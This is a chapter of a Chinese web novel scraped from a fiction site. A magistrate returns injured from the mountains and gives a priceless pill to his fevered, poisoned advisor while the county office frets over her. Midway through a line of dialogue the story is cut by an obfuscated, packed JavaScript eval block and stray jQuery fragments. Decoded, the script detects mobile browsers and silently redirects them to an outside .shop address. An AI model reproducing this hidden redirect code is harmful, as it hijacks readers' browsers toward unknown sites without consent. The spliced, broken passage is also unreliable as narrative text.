文趣网 > 都市小说 > 南州诡案录 > 37. 衰朽
    雨脚渐收,滂沱漫漶的淋潦变成了霏霏浽溦。天穹依旧没有放明,黯淡的阴云密布,整个州府被笼罩在巨大的阴霾之下。

    雨林县衙乱成了一锅粥。

    夏愁昏迷不醒,从薄冥时分就开始发烧,整个身子烫的像火。依永烟几乎把县内所有的大夫都找来了,又派人加急赶往州府和竹林县继续找,但每个来人都是把了脉就摇头要走,甚至连一副药都不敢下。夏愁的身子已经坏透了,单薄得就像是一张被浸湿的宣纸,稍有触碰就会化破。碰上个好心的,临走前还会叮嘱依永烟赶紧准备棺椁。

    夙洱踟躇不定,没有人比他更了解夏愁的病势,此刻真是进也不是、退也不是,只敢用醇和温平的药物作为舒缓,但效力微乎其微,难挽沉疴,眼见着人越烧越厉害了。

    “怎么样了?”依永烟掀帘进来,眉头紧成了三道。

    “若再没法子,主子只怕……活不过今日亥时。”夙洱说这话的时候像是利刃划过喉咙,剌得生疼。

    依永烟身形一晃,差点没站住,将将扶住墙垛:“不……不可能!她心中有未尽之事,她不会甘心就这么走的!”

    他们救出夏愁那日就已经知道,她年岁不永,知道这一日迟早回来,可……正当这日来了,心中仍旧无尽惶恐和悔恨。

    “或许……还有一个办法。”夙洱抬头去看她。

    “什么?快说啊!这个时候还磨蹭什么?!”依永烟骂道。

    “叶家是南州首富,府中肯定有千金良药,或许可以吊起主子心脉。但叶家现在和我们的关系……”夙洱面有犹豫。

    “肯定不会给!”依永烟闭眼晃了晃头,让脑袋清醒一点,想出了法子,“我去偷!”

    夙洱摇头否定:“叶府里守卫森严,你不可能闯进去的!”

    “就算是机会渺茫也不能不试!我马上去州府!就算是拼了这条命,我也要把药拿回来,你无论如何让主子撑住这几个时辰!”依永烟转身离去,急切之中把夏愁的称谓也喊出来。

    岩广知站在县衙门外,急得来回踱步搓手,见依永烟从里面面色急促地出来,连忙迎上去问道:“夏爷怎么样了?!”

    “不太好,我出去一趟,大老爷那边我顾不上了,你赶紧派人去找!”依永烟边说边去扯马的缰绳。

    “去了嘛!全去了嘛!但这人就是找不到!”岩广知急得直哭,“咱们是知道这哀茫山脉的,这鹰鸾嶂尚有一线生机,可他追到了其他地方,就算是运气好,什么猛兽凶害都没遇到,也是绕不出来的啊!”

    “要是今日出去的人都没带回消息,赶紧派人去禀报知府,这事瞒不得!”依永烟翻身上马,马鞭一打,绝尘而去,“驾!——”

    “你去哪里嘛!……我一个人、我一个人应付不来的。”岩广知蹲下身子,埋着头哭。

    他抱着身子哭了小一个时辰,然后又忽然觉得哭没用,干脆念起佛经来,念一遍祈盼顾栖川平安归来,再念一遍祷求夏愁能渡过此劫。

    夕暮时分,细雨已停。出去的几路人陆续回来,扶风和沉月在最后。

    “怎么样了?找到没!”沉月跳马而下,急声问道。

    “没有、都没有找到!”岩广知抽泣着摇头。

    沉月踉跄着后退了几步,道:“这……这可怎么办啊?眼见又要入夜了,这天黑岂不是更危险了?!”

    扶风一把按住他的肩膀:“只在鹰鸾嶂周边找不是办法!我进山别处去找!”

    “不可不可!不可去啊!”岩广知摇头,说出了心中徘徊已久的猜测,“这哀茫山脉除了鹰鸾嶂,几乎就没人出得来啊!大老爷怕是凶多吉少了……””

    “不可能……不可能!”沉月“就算是去了别的地方,主子也一定会回来的,他可是饮狼将军啊!”

    “说的不错!”

    一道爽朗明快的声音从远处的暮色中传来。

    众人惊喜转头,只见顾栖川高大的身量从黄昏的氲光中出现,残阳在他身后织就一幅金绯交织的锦缎。

    他翻身下马,乌黑的长发凌乱地垂落额前,额头鬓角都被划出了几道破口,旁边还沾着黄色的山泥。油衣和衣袍都被树枝山石划得破烂不堪,襟口微敞,露出线条硬朗的肌肉。然虽已经狼狈不堪,却丝毫折损不了他凛然如华的气度。

    剑眉之下,那双眸子像是淬了火,亮得灼人。

    “大老爷!!!”岩广知先于所有人,冲着跑上前跪倒了顾栖川脚下,哭喊道,“我就知道你吉人有天相!肯定不会有事的!”

    “去去去!”顾栖川笑着一脚踹开了他,“大老爷听得清清楚楚,你他娘说的是凶多吉少!”

    “主子!”扶风和沉月也连忙迎上去,见他满身是伤但精神尚佳,心里终于是松了口气。

    岩广知一巴掌拍到嘴上,又疼地摸了摸,喊道:“我嘴欠!说错了!说错了嘛!”

    “少来!”顾栖川转身,拽下拴在黑马尾巴处拉回来的那只蟒蛇。硕蛇绿底黑斑、蛇身粗如水桶,盘起来足足有三圈,蛇首垂落时“砰”地砸在地上,溅起一圈尘土。

    “啊————这这这这这这!”

    岩广知被吓得连连后退,一个屁股蹲砸在了地上,眼睛瞪得老大,鸡皮疙瘩爬满全身。

    “没见过蛇啊?”顾栖川一脚把蛇踢到岩广知那边,“赶紧炖了,给夏师爷补补。”

    “别别别!!救命啊!!”岩广知差点吓尿了,赶紧喊旁边的衙役求助,“三条!四饼!”

    “嚎什么?!死的没发现?”顾栖川按了按头,觉得岩广知的叫声,比之前在树林斗人杀蛇,还要更加头疼。

    岩广知听到“死的”二字,才呼了憋着的那口长气,细细看了过去,果不其然,蛇虽大,但头部被捅了个洞,三寸处脊骨断裂,七寸处更是被打的皮裂,果然是死的绝绝的。

    岩广知这才回过神来,一拍脑子:“大老爷!你快去看看夏爷吧!她不好啦!”

    顾栖川面色霍然一变,瞳孔骤缩,眼底的笑意与戏谑骤散,阔步冲进了县衙大门,往县令廨奔去。

    夏愁平静地蜷缩在床榻上,任凭谁一眼都可看出她十分难受,从额角蔓延到脖颈经脉尽凸出,一向没有血色的肌肤被烧的通红,清秀的五官拧到了一起,痛得几乎狰狞。她早已经没了意识,无论如何都叫不清醒,一切都是身体的本能。没有人敢碰她,她就像一截烧透了的炭,一触即成灰。

    昨夜和夏愁一起的衙役向顾栖川汇报了情况,他越听,神色越沉,吓得衙役声音越来越小。

    “毒烟入体,激发了主子体内原有的旧毒,如今一齐迸发作用。若下猛药,只怕相激,主子的底子已坏,绝对承受不住两股相冲的力道。但若不进药,主子的身体也早无抵抗之力,毒性将会完全腐蚀心脉,无可转圜。”夙洱说着,忍不住落了泪,“四老爷已经去州府求药了,若是能找到稀世之珍,或许还……”

    “不好了!”三条冲来禀报,“四老爷被叶家人囫囵打了,捆了扔在县衙门口!”

    夙洱绝望地闭上眼睛:“果然如此……”

    顾栖川拇指紧按住骨扳指,转身沉声对沉月道:“跟我过来。”

    “是。”沉月心下暗道不妙。

    果不其然,顾栖川一进房就道:“起肓丸在哪?”

    “主子!我就知道!”沉月气得往后躲,“那可是老爷夫人不惜万金,让多少太医大夫研制整整七年才做出了一颗!”

    自从顾栖川上了战场,天不怕地不怕的性子在行军打仗上更是彰显无遗,敌方的危地险境都敢冲着去。他在朔北之战生饮狼血之后,虽获得饮狼将军的虚名,可也足足烧了三天三夜,高热不退,大夫说是狼热侵体,愣是把旧时所有伤口全部激的溃烂难愈,前后治了小三个月才算消停。至此之后,顾家夫妻二人是不用愁儿子建功立业,只用为其安慰日夜悬心,故而找了人不惜重金研制了一颗能治百病的药丸,但所费不赀,什么百年血参千年灵芝之类的更是一物难求,故而富可敌国的顾家也只能做出一颗来。

    “我知道夏师爷确实是难得一遇的人中龙凤

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963333|211594||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ……”沉月叹息道,“可这东西是老爷夫人是给主子救命用的!”

    “别废话!”顾栖川心情不好,带着耐心也没了,伸手道,“拿来!……啧,谁是主子?”

    沉月又愤又恼又无计可施,只能听话转身进屋子去拿,还不忘继续念叨,希望顾栖川能回心转意:“这可怎么和老爷夫人交代啊?夫人知道肯定要气哭了!夫人气哭了,老爷肯定也要发大脾气,哎……那大公子肯定也要责骂的……”

    顾栖川捏了捏眉心,装作没听到。

    沉月拿出药,跟着顾栖川回了夏愁房间,不情不愿地把药丸盒子递给夙洱。夙洱接过,见那药盒竟还是用金子做的,可见里面的东西如何金贵,继而打开去闻了闻,虽分不出具体的配方,但也闻出了几种名贵的药材,便道:“死马当作活马医吧,反正也不会更差了!”

    “死马?你知道这药……”沉月抡着袖子就要去理论。

    “闭嘴。”顾栖川皱眉斥道。

    沉月悻悻闭了嘴。

    夙洱想去扶夏愁,却又怕动作太大伤了她,一时竟显得进退两难。

    “我来!”顾栖川恨不成器地上前,扶起夏愁,手碰到那火烧般的肌肤时心下一震。夏愁久病缠身,肌肤一向如冬井冽冰般寒凉,没想到有朝一日,身子终于有了活人的温热,却还是因为病痛。

    顾栖川心里生出几分异样,说不清,就是觉得不痛快、不是滋味。

    他一手将夏愁扶着,一手小心地喂进了药,又接过夙洱递来的杯子,喂了一口水把药丸渡进去。

    “咳咳!……”夏愁水微微呛到了喉咙,咳了两声,背后的伤口裂开了些,又渗出血来。

    “我给主子敷过止血的邀了,应该不会渗出太多。”夙洱解释道。

    但顾栖川看着那红色还是刺眼。

    “她多久能醒?”顾栖川沉声道。

    “这……”夙洱说不准,他连这药有没有用都不知道,“若是今夜没事,约莫就是救回来了。至于什么时候醒,不好说……”

    “夏爷!”依永烟出现在门口,一副好容颜被打的鼻青脸肿,岩广知在一旁扶着她。

    “大老爷拿了药来,主子服下了。”夙洱和她解释道。

    顾栖川的药肯定是好的,依永烟这才微微松了口气。

    “下手这么重?”夙洱指了指她的脸,“叶……叶家主子打的?”

    “狗娘养的没出来!叫手下管事的干的!”依永烟啐了一口,显然气得不轻。

    顾栖川瞟了她一眼,道:“你和叶家有私仇?”

    依永烟和夙洱脸色均有躲闪,顾栖川便猜到此间纠葛八成还和夏愁有关。什么奇怪事在夏愁身上都已经显得见怪不怪。

    “这两年不……太对付。”依永烟模棱两可地应了句。

    顾栖川懒得拆穿她,只对夙洱道:“去给她看看吧。夏愁这我守着。”

    “大老爷……要不我先给你看看?”夙洱看着顾栖川满身不少见了血的伤痕,比依永烟皮外伤重不少。

    “我等夏愁好了再说。”顾栖川不容置喙道,将自己身上的伤视若无物,“都出去休息吧,忙活了几天了。”

    “是。”众人依言退下。

    顾栖川将夏愁重新放平到床榻上,深沉的目光盯着她看,落在她紧蹙的眉间、没有血色的薄唇以及单薄的双肩。

    她看起来是那么纤柔、那么脆弱、甚至像是一块易碎的白玉,若是平常人家的闺女,只怕父母都不忍心让她出门,怕被风吹、怕被雨淋。

    可她却用实际告诉每一个人,她是那么的强大。仿佛只要她在,所有的危困都不用畏惧。她是这个县衙内所有人的主心骨,或许还不止。

    “以一挡七,当真是文武双全了。”

    顾栖川拉起她的手,他的掌心有树枝划破的伤口,她的掌心被紧握的刀刃压喇出细破,干涸的边缘都还在渗血,两个人的血迹便交织在了一起,像是再也无法分开的命运。

    “你这么厉害,肯定不会向像阎王低头。”